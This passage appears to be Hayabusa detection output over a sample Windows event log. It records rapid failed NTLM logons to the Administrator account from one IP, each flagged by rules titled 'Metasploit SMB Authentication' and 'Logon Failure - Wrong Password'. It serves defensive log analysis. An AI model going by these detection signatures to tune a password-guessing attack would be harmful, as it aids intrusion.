Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ns9lm9Nvhvi4fY6A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.304 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.353 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aExdYPqY2eUCYZmC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.353 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t9cnmRGdByuJlKZj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.389 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f9RvWTFFUgCrhlkD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.432 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HC3oQUIEWqztyx6s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.480 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TK3BOeD2w9xPB4N1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I6yzU5WuvpmPKLSS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.560 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GFoUGsara5Pl03WP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.600 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.634 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qLaOCImeMIMlGvMj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.634 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.761 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Vzb3pEI2ZeP2NFA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.761 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.821 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7Fa7ebH7UXd1KW4X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.821 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wRBHXRkOa6x5KI5G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.869 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.915 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VNVxzgOLrZzfP3cB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.915 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.944 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yCNXajRX2lIgLQuc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.944 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.992 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x0nukf24IoalycOn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.992 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.101 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xZFZN0KfeHtyDppG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.101 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZmxqKyWU5GU1y22P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.144 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WuRyvCfgQ4rwG3fu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3prKZt5ymouwNKnK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.220 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CWrNNn13EC1FLwLA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.264 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SfnBT5OvT5cQXHfS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.308 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RLZFPCShXoPvvThS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.344 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UsPCJ0UlfH4urYrm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.388 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MIQlOetFByLZqPkT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.424 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c9IBZ0qTDlHWADZt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.456 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lmhkB39gKvvuT89e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.491 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4KPoZ8JB7WSjUCHW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.536 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0mwiPq4gF1YXkQSl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.615 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y5ncgrpwOFo7E8vg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.615 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.647 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KbkG8ezrAPFC0iKu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.647 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GW4WKkHocNadDzrb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: unbtFAiykcfKTbQT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.732 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oRzF1s9XVoRmoFQ6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.768 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9TO1c7eYd1IQHVwG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.813 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wsn5GM4BqEl6A6pY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.852 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.900 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pq350wqwVDQlTKu9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.900 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uMJWwjG7J2sOiBYd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.945 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3YusfxQQygi2x5Cu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.984 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6q29uj6ovfwz0riC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.024 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.072 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cj38VsqGLoQ8jGdf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.072 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TOW8OIO2vQRFaTID : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.120 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.173 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DfYITdZCYwEj9IJV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.173 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.205 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4BI6V35tZGZ1WGtJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.205 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wOF75n4aunKH9qxc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jsTFTCnFFBkhG5jP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.296 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5qiwcKE2TQui2H8z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.328 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PZOCyXplWOCyKbFm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.380 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 